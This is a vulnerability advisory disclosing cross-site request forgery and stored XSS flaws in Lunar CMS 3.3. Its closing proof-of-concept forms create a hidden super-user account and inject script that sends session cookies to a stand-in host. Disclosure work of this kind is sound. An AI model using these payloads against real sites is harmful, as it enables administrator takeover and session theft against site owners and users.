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Lunar CMS 3.3 CSRF And Stored XSS Vulnerability


Vendor: Lunar CMS
Product web page: http://www.lunarcms.com
Affected version: 3.3

Summary: Lunar CMS is a freely distributable open sourcecontent
management system written for use on servers running the ever so
popular PHP5 & MySQL.

Desc: Lunar CMS suffers from a cross-site request forgery and a
stored xss vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'subject' and 'email'
POST parameters thru the 'Contact Form' extension/module is not properly
sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5188
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5188.php


11.06.2014

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CSRF Add Admin
===============

<html>
  <body>
    <form action="http://localhost/lunarcms/admin/user_create.php" method="POST">
      <input type="hidden" name="name" value="Hacker" />
      <input type="hidden" name="email" value="lab@zeroscience.mk" />
      <input type="hidden" name="password1" value="251ftw" />
      <input type="hidden" name="password2" value="251ftw" />
      <input type="hidden" name="access" value="0" />
      <input type="hidden" name="Submit" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Access levels:

0: Super user
1: Admin
2: Website only



CSRF Stored XSS (Session Hijack)
=================================

<html>
  <body>
    <form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&top" method="POST">
      <input type="hidden" name="email" value='"><script>alert(1);</script>' />
      <input type="hidden" name="error" value="2" />
      <input type="hidden" name="sent" value="1" />
      <input type="hidden" name="subject" value='"><script>var x = new Image();x.src='http://www.example.com/cookiethief.php?cookie='+document.cookie;</script>' />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
